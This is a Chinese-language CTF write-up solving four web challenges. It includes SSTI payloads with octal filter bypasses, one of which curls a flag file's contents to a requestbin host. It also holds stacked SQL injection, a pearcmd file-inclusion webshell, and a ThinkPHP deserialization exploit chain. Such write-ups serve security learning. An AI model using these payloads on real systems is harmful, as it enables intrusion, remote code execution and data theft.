NewStar week3
BabySSTI_One
name={{7*7}}
成功
点被过滤掉了,那么尝试如下
正常
url?name={{().__class__.__base__.__subclasses__[177].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ipconfig").read()')}}`
过滤点
url?name={{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(177)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("dir").read()')}}
但是class,application也被waf了
C++字符串转八进制
#include <iostream>
#include <map>
#include <vector>
#include <queue>
using namespace std;
int main()
{
string str="__import__('os').popen('curl http://http.requestbin.buuoj.cn/113fh4a1?a=`cat /f1agggghere`').read()";
for(int i=0;i<str.length();i++)
{
int temp=int(str[i]);
cout<<"\\"<<oct<<temp;
}
}
来一个新的,为八进制:
{{a|attr("__init__")|attr("__globals__")}}
变为
{{a|attr("\137\137\151\156\151\164\137\137")|attr("\137\137\147\154\157\142\141\154\163\137\137")}}
发现globals存在
{{a|attr("__init__")|attr("__globals__")|attr("__getitem__")("__builtins__")}}
变为
{{a|attr("\137\137\151\156\151\164\137\137")|attr("\137\137\147\154\157\142\141\154\163\137\137")|attr("\137\137\147\145\164\151\164\145\155\137\137")("\137\137\142\165\151\154\164\151\156\163\137\137")}}
发现存在eval
{{a|attr("__init__")|attr("__globals__")|attr("__getitem__")("__builtins__")|attr("__getitem__")("eval")("__import__('os').popen('ls').read()"}}
变为
{{a|attr("\137\137\151\156\151\164\137\137")|attr("\137\137\147\154\157\142\141\154\163\137\137")|attr("\137\137\147\145\164\151\164\145\155\137\137")("\137\137\142\165\151\154\164\151\156\163\137\137")|attr("\137\137\147\145\164\151\164\145\155\137\137")("\145\166\141\154")("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\160\157\160\145\156\50\47\154\163\47\51\56\162\145\141\144\50\51")}}
成功执行,显示app.py
开始rce
{{a|attr("__init__")|attr("__globals__")|attr("__getitem__")("__builtins__")|attr("__getitem__")("eval")("__import__('os').popen('ls /').read()"}}
变为
{{a|attr("\137\137\151\156\151\164\137\137")|attr("\137\137\147\154\157\142\141\154\163\137\137")|attr("\137\137\147\145\164\151\164\145\155\137\137")("\137\137\142\165\151\154\164\151\156\163\137\137")|attr("\137\137\147\145\164\151\164\145\155\137\137")("\145\166\141\154")("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\160\157\160\145\156\50\47\154\163\40\57\47\51\56\162\145\141\144\50\51")}}
发现flag_in_here
然后拿flag
{{a|attr("__init__")|attr("__globals__")|attr("__getitem__")("__builtins__")|attr("__getitem__")("eval")("__import__('os').popen('cat /flag_in_here ').read()"}}
变为
{{a|attr("\137\137\151\156\151\164\137\137")|attr("\137\137\147\154\157\142\141\154\163\137\137")|attr("\137\137\147\145\164\151\164\145\155\137\137")("\137\137\142\165\151\154\164\151\156\163\137\137")|attr("\137\137\147\145\164\151\164\145\155\137\137")("\145\166\141\154")("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\160\157\160\145\156\50\47\143\141\164\40\57\146\154\141\147\137\151\156\137\150\145\162\145\40\47\51\56\162\145\141\144\50\51")}}
flag{cf199c11-24ed-4a69-bac5-40a48c6fea18}
值得注意得是,如果想要检验自己输入得是不是对的,就用下面的脚本来比对,不过网站也有现成工具:
#include <iostream>
#include <map>
#include <vector>
#include <queue>
using namespace std;
int main()
{
string str="\137\137\147\145\164\151\164\145\155\137\137";
cout<<str;
}
另一个payload:
name={{lipsum.__globals__['__builtins__']['eval']("__import__('os').popen('tac /*').read()")}}
奥,点根本没被过滤,笑死。
multiSQL
1、一开始就是搜索框
随便输入1,出现如下,而且也没有成绩
2、闭合
1' or 1=1#
没有过滤空格,不对劲,过滤了select。
点击验证会到达一个verify.php,没有425分没得flag。
3、思路
根据hint,需要通过update注入帮改成绩。但是过滤了select就算了,还把update,insert,union也过滤了,奇怪了,想了想,好像只有堆叠注入会有这么多过滤?
尝试如下:
1';show databases;#
1';show tables;#
有了,就是堆叠注入!没有select,我们还有show,甚至是报错,但是报错也需要select,所以用不到。
尝试:
1';show columns from score;#
4、但是replace可以替代insert进行数据插入
1';replace into score values("火华",200,200,200);#
删除低分
1';delete from score where listen=11;#
成功:
拿到flag
flag{Ju3t_use_mo2e_t2en_0ne_SQL}
5、另一种做法,由于没有过滤prepare和引号
1';PREPARE st from concat('upd','ate', ' `score set `listen`=300 where `listen`=200');EXECUTE st;#
但是失败了,尝试如下
1';PREPARE st from concat("repl","ace", " into score values('火华',150,200,200)");EXECUTE st;#
也失败了。。。
用十六进制,即可成功
username=1';set @a=update score set listen = 100 where username = '火华';prepare b from @a;execute b;#
转十六进制后
username=1';set @a = 0x7570646174652073636f726520736574206c697374656e203d2031303020776865726520757365726e616d65203d2027e781abe58d8e273b;prepare b from @a;execute b;#
IncludeTwo
pear文件包含
文件包含成功
在burp中输入如下payload:注意pearcmd不能有.php,因为本身有加个.php
/index.php?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=@eval($_POST['cmd']);?>+/tmp/2.php
然后访问
http://42139bb1-2cf8-4cfa-9377-f061583d7fef.node4.buuoj.cn:81/?file=/tmp/2
post:cmd=phpinfo();
成功rce
拿到flag
Maybe You Have To think More
1、一看就是thinkphp漏洞了
确定是反序列化漏洞,直接拉网上的exp打。
<?php
namespace think;
abstract class Model
{
protected $append = [];
private $data = [];
function __construct()
{
$this->append = ["lzx"=>["hello","world"]];
$this->data = array('lzx'=>new Request());
}
}
class Request
{
protected $hook = [];
protected $filter;
protected $config = [
// 表单请求类型伪装变量
'var_method' => '_method',
// 表单ajax伪装变量
'var_ajax' => '_ajax',
// 表单pjax伪装变量
'var_pjax' => '_pjax',
// PATHINFO变量名 用于兼容模式
'var_pathinfo' => 's',
// 兼容PATH_INFO获取
'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
// 默认全局过滤方法 用逗号分隔多个
'default_filter' => '',
// 域名根,如thinkphp.cn
'url_domain_root' => '',
// HTTPS代理标识
'https_agent_name' => '',
// IP代理获取标识
'http_agent_ip' => 'HTTP_X_REAL_IP',
// URL伪静态后缀
'url_html_suffix' => 'html',
];
function __construct()
{
$this->filter = "system";
$this->config = ["var_ajax"=>''];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>
但是反序列化点在哪呢,啥都没提示,绝境看cookie。
TzoxNzoiZmlyc3Rcc2Vjb25kXHVzZXIiOjI6e3M6ODoidXNlcm5hbWUiO3M6Mzoid3FlIjtzOjg6InBhc3N3b3JkIjtOO30%3D
Url_decode-------------->
TzoxNzoiZmlyc3Rcc2Vjb25kXHVzZXIiOjI6e3M6ODoidXNlcm5hbWUiO3M6Mzoid3FlIjtzOjg6InBhc3N3b3JkIjtOO30=
base64_decode---------->
O:17:"first\second\user":2:{s:8:"username";s:3:"wqe";s:8:"password";N;}
6,根本没有想到。。。那就直接用上面的exp开打。在env中拿到flag